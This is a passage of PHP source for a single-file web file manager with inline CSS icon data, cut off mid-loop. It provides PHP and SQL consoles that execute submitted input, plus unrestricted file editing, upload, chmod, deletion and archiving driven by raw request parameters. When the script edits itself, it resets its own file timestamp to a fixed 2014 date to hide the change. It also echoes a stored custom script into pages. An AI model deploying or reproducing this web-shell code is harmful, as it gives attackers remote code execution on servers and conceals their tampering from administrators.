0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
